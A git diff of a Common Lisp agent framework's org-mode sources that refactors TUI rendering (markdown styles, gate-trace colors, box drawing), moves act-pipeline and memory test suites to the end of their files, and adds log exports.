@@ -456,7 +456,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
|
||||
* v0.7.1 — Markdown Rendering
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun parse-markdown-spans (text)
|
||||
"Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
|
||||
@@ -505,12 +505,17 @@ Respects CJK/emoji char widths via char-width."
|
||||
(bold (getf attrs :bold))
|
||||
(code (getf attrs :code))
|
||||
(underline (getf attrs :underline))
|
||||
(url (getf attrs :url)))
|
||||
(url (getf attrs :url))
|
||||
(style-bits (append (when bold '(:bold))
|
||||
(when underline '(:underline)))))
|
||||
(when style-bits
|
||||
(add-attributes win (get-bitmask style-bits)))
|
||||
(add-string win text :y y :x x :n (max 1 (- w x))
|
||||
:bold bold :underline underline
|
||||
:bgcolor (when code (theme-color :dim))
|
||||
:fgcolor (cond (url (theme-color :highlight))
|
||||
(t (theme-color (or (getf attrs :role) :agent)))))
|
||||
:bgcolor (when code (theme-color :dim))
|
||||
:fgcolor (cond (url (theme-color :highlight))
|
||||
(t (theme-color (or (getf attrs :role) :agent)))))
|
||||
(when style-bits
|
||||
(remove-attributes win (get-bitmask style-bits)))
|
||||
(incf x (length text))))
|
||||
y)
|
||||
|
||||
@@ -579,7 +584,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
|
||||
* v0.7.2 — Gate Trace
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun gate-trace-lines (trace)
|
||||
"Convert gate-trace plist to display lines."
|
||||
@@ -590,10 +595,10 @@ Respects CJK/emoji char widths via char-width."
|
||||
(reason (getf entry :reason))
|
||||
(name (or gate "unknown"))
|
||||
(color (case result
|
||||
(:passed :gate-passed)
|
||||
(:blocked :gate-blocked)
|
||||
(:approval :gate-approval)
|
||||
(t :dim)))
|
||||
(:passed (theme-color :gate-passed))
|
||||
(:blocked (theme-color :gate-blocked))
|
||||
(:approval (theme-color :gate-approval))
|
||||
(t (theme-color :dim))))
|
||||
(prefix (case result
|
||||
(:passed " ✓ ")
|
||||
(:blocked " ✗ ")
|
||||
@@ -614,7 +619,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-sidebar (win)
|
||||
"Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 42))
|
||||
(h (or (height win) 24))
|
||||
(y 1)
|
||||
@@ -629,7 +635,7 @@ Respects CJK/emoji char widths via char-width."
|
||||
(add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent))
|
||||
(incf y)
|
||||
(if gate-trace
|
||||
(dolist (entry (passepartout::gate-trace-lines gate-trace))
|
||||
(dolist (entry (gate-trace-lines gate-trace))
|
||||
(when (< y (1- h))
|
||||
(add-string win (car entry) :y y :x 2 :n (- w 4)
|
||||
:fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim)))
|
||||
@@ -723,7 +729,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-palette (win)
|
||||
"Render centered command palette overlay with filtered items, selection highlight."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 50))
|
||||
(h (or (height win) 20))
|
||||
(y 1)
|
||||
@@ -766,7 +773,8 @@ Respects CJK/emoji char widths via char-width."
|
||||
(defun view-wizard (win)
|
||||
"Render setup wizard overlay: step title, prompt, input, error, progress."
|
||||
(clear win)
|
||||
(box win (theme-color :border) (theme-color :background))
|
||||
(setf (color-pair win) (list (theme-color :border) (theme-color :background)))
|
||||
(box win 0 0)
|
||||
(let* ((w (or (width win) 60))
|
||||
(h (or (height win) 15))
|
||||
(y 1)
|
||||
|
||||
251
org/core-act.org
251
org/core-act.org
@@ -38,132 +38,6 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
|
||||
~fboundp~-guarded; missing skills produce nil. Called from the
|
||||
~:tui~ actuator lambda.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-act-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
(test test-tool-timeout-shell
|
||||
"Contract v0.7.2: shell timeout is 300 seconds."
|
||||
(is (= 300 (passepartout::tool-timeout "shell"))))
|
||||
|
||||
(test test-tool-timeout-unknown
|
||||
"Contract v0.7.2: unknown tool gets default 120s."
|
||||
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
|
||||
|
||||
(test test-verify-write-match
|
||||
"Contract v0.7.2: verify-write returns T on match."
|
||||
(let ((path "/tmp/passepartout-verify-test.org")
|
||||
(content "test content"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(is (passepartout::verify-write path content))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-tool-timeout-enforcement
|
||||
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
|
||||
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
|
||||
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "sleep-forever"
|
||||
:read-only-p nil
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(sleep 10)
|
||||
"done")))
|
||||
(unwind-protect
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(result (passepartout::action-tool-execute action ctx)))
|
||||
(is (eq :EVENT (getf result :TYPE)))
|
||||
(let ((payload (getf result :PAYLOAD)))
|
||||
(is (eq :tool-error (getf payload :SENSOR)))
|
||||
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
|
||||
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
|
||||
|
||||
(test test-tool-cache-read-only
|
||||
"Contract v0.7.2: read-only tool results are cached and reused."
|
||||
(let ((call-count 0))
|
||||
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "cache-test"
|
||||
:read-only-p t
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(incf call-count)
|
||||
(list :status :success :content (format nil "call ~d" call-count)))))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(clrhash passepartout::*tool-cache*)
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(r1 (passepartout::action-tool-execute action ctx))
|
||||
(r2 (passepartout::action-tool-execute action ctx)))
|
||||
(is (= 1 call-count) "Second call should hit cache, not re-execute")
|
||||
(let ((p1 (getf r1 :PAYLOAD))
|
||||
(p2 (getf r2 :PAYLOAD)))
|
||||
(is (string= (getf (getf p1 :RESULT) :CONTENT)
|
||||
(getf (getf p2 :RESULT) :CONTENT))))))
|
||||
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(clrhash passepartout::*tool-cache*))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -527,3 +401,128 @@ uses the old name can call this alias. New code should call
|
||||
(loop-gate-act signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-act-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
(test test-tool-timeout-shell
|
||||
"Contract v0.7.2: shell timeout is 300 seconds."
|
||||
(is (= 300 (passepartout::tool-timeout "shell"))))
|
||||
|
||||
(test test-tool-timeout-unknown
|
||||
"Contract v0.7.2: unknown tool gets default 120s."
|
||||
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
|
||||
|
||||
(test test-verify-write-match
|
||||
"Contract v0.7.2: verify-write returns T on match."
|
||||
(let ((path "/tmp/passepartout-verify-test.org")
|
||||
(content "test content"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(is (passepartout::verify-write path content))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-tool-timeout-enforcement
|
||||
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
|
||||
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
|
||||
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "sleep-forever"
|
||||
:read-only-p nil
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(sleep 10)
|
||||
"done")))
|
||||
(unwind-protect
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(result (passepartout::action-tool-execute action ctx)))
|
||||
(is (eq :EVENT (getf result :TYPE)))
|
||||
(let ((payload (getf result :PAYLOAD)))
|
||||
(is (eq :tool-error (getf payload :SENSOR)))
|
||||
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
|
||||
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
|
||||
|
||||
(test test-tool-cache-read-only
|
||||
"Contract v0.7.2: read-only tool results are cached and reused."
|
||||
(let ((call-count 0))
|
||||
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "cache-test"
|
||||
:read-only-p t
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(incf call-count)
|
||||
(list :status :success :content (format nil "call ~d" call-count)))))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(clrhash passepartout::*tool-cache*)
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(r1 (passepartout::action-tool-execute action ctx))
|
||||
(r2 (passepartout::action-tool-execute action ctx)))
|
||||
(is (= 1 call-count) "Second call should hit cache, not re-execute")
|
||||
(let ((p1 (getf r1 :PAYLOAD))
|
||||
(p2 (getf r2 :PAYLOAD)))
|
||||
(is (string= (getf (getf p1 :RESULT) :CONTENT)
|
||||
(getf (getf p2 :RESULT) :CONTENT))))))
|
||||
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(clrhash passepartout::*tool-cache*))))
|
||||
#+end_src
|
||||
@@ -46,142 +46,6 @@ The tradeoff is memory usage: each snapshot is a deep copy of every object in ac
|
||||
4. (snapshot-memory): deep-copies ~*memory-store*~ to ~*memory-snapshots*~.
|
||||
5. (rollback-memory snap-index): restores ~*memory-store*~ from a snapshot.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :passepartout-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (memory-object-hash (memory-object-get id1))))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
(test test-undo-snapshot-restore
|
||||
"Contract v0.7.2: undo-snapshot captures state, undo restores."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "x" passepartout::*memory-store*) "hello")
|
||||
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "x" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-redo-cycle
|
||||
"Contract v0.7.2: redo restores undone state."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "y" passepartout::*memory-store*) "world")
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "y" passepartout::*memory-store*)))
|
||||
(is (passepartout::redo))
|
||||
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-empty-stack-nil
|
||||
"Contract v0.7.2: undo returns nil on empty stack."
|
||||
(let ((orig-undo passepartout::*undo-stack*))
|
||||
(unwind-protect
|
||||
(progn (setf passepartout::*undo-stack* nil)
|
||||
(is (null (passepartout::undo))))
|
||||
(setf passepartout::*undo-stack* orig-undo))))
|
||||
|
||||
(test test-audit-node-found
|
||||
"Contract v0.7.2: audit-node returns info for existing object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "audit-1" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
|
||||
:version 1 :hash "abc123" :scope :memex))
|
||||
(let ((info (passepartout::audit-node "audit-1")))
|
||||
(is (not (null info)))
|
||||
(is (eq :HEADLINE (getf info :type)))
|
||||
(is (string= "abc123" (getf info :hash)))))
|
||||
|
||||
(test test-audit-node-not-found
|
||||
"Contract v0.7.2: audit-node returns nil for nonexistent id."
|
||||
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
|
||||
|
||||
(test test-audit-verify-hash
|
||||
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "a" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
|
||||
(let ((result (passepartout::audit-verify-hash)))
|
||||
(is (= 1 (car result)))
|
||||
(is (= 0 (cdr result)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -567,3 +431,138 @@ Returns (total . missing-hashes)."
|
||||
(cons total missing)))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :passepartout-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (memory-object-hash (memory-object-get id1))))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
|
||||
(test test-undo-snapshot-restore
|
||||
"Contract v0.7.2: undo-snapshot captures state, undo restores."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "x" passepartout::*memory-store*) "hello")
|
||||
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "x" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-redo-cycle
|
||||
"Contract v0.7.2: redo restores undone state."
|
||||
(let ((orig-store passepartout::*memory-store*)
|
||||
(orig-undo passepartout::*undo-stack*)
|
||||
(orig-redo passepartout::*redo-stack*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
|
||||
passepartout::*undo-stack* nil
|
||||
passepartout::*redo-stack* nil)
|
||||
(passepartout::undo-snapshot)
|
||||
(setf (gethash "y" passepartout::*memory-store*) "world")
|
||||
(is (passepartout::undo))
|
||||
(is (null (gethash "y" passepartout::*memory-store*)))
|
||||
(is (passepartout::redo))
|
||||
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
|
||||
(setf passepartout::*memory-store* orig-store
|
||||
passepartout::*undo-stack* orig-undo
|
||||
passepartout::*redo-stack* orig-redo))))
|
||||
|
||||
(test test-undo-empty-stack-nil
|
||||
"Contract v0.7.2: undo returns nil on empty stack."
|
||||
(let ((orig-undo passepartout::*undo-stack*))
|
||||
(unwind-protect
|
||||
(progn (setf passepartout::*undo-stack* nil)
|
||||
(is (null (passepartout::undo))))
|
||||
(setf passepartout::*undo-stack* orig-undo))))
|
||||
|
||||
(test test-audit-node-found
|
||||
"Contract v0.7.2: audit-node returns info for existing object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "audit-1" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
|
||||
:version 1 :hash "abc123" :scope :memex))
|
||||
(let ((info (passepartout::audit-node "audit-1")))
|
||||
(is (not (null info)))
|
||||
(is (eq :HEADLINE (getf info :type)))
|
||||
(is (string= "abc123" (getf info :hash)))))
|
||||
|
||||
(test test-audit-node-not-found
|
||||
"Contract v0.7.2: audit-node returns nil for nonexistent id."
|
||||
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
|
||||
|
||||
(test test-audit-verify-hash
|
||||
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf (gethash "a" passepartout::*memory-store*)
|
||||
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
|
||||
(let ((result (passepartout::audit-verify-hash)))
|
||||
(is (= 1 (car result)))
|
||||
(is (= 0 (cdr result)))))
|
||||
#+end_src
|
||||
@@ -43,6 +43,8 @@ where to add new exports:
|
||||
;; ── Core: Pipeline ──
|
||||
#:main
|
||||
#:log-message
|
||||
#:*log-buffer*
|
||||
#:*log-lock*
|
||||
#:process-signal
|
||||
#:loop-process
|
||||
#:perceive-gate
|
||||
|
||||
@@ -35,54 +35,6 @@ The depth limit prevents runaway recursive loops. A signal that generates anothe
|
||||
Sets ~:status :perceived~ on completion. Returns the signal.
|
||||
2. (perceive-gate signal): thin alias for ~loop-gate-perceive~.
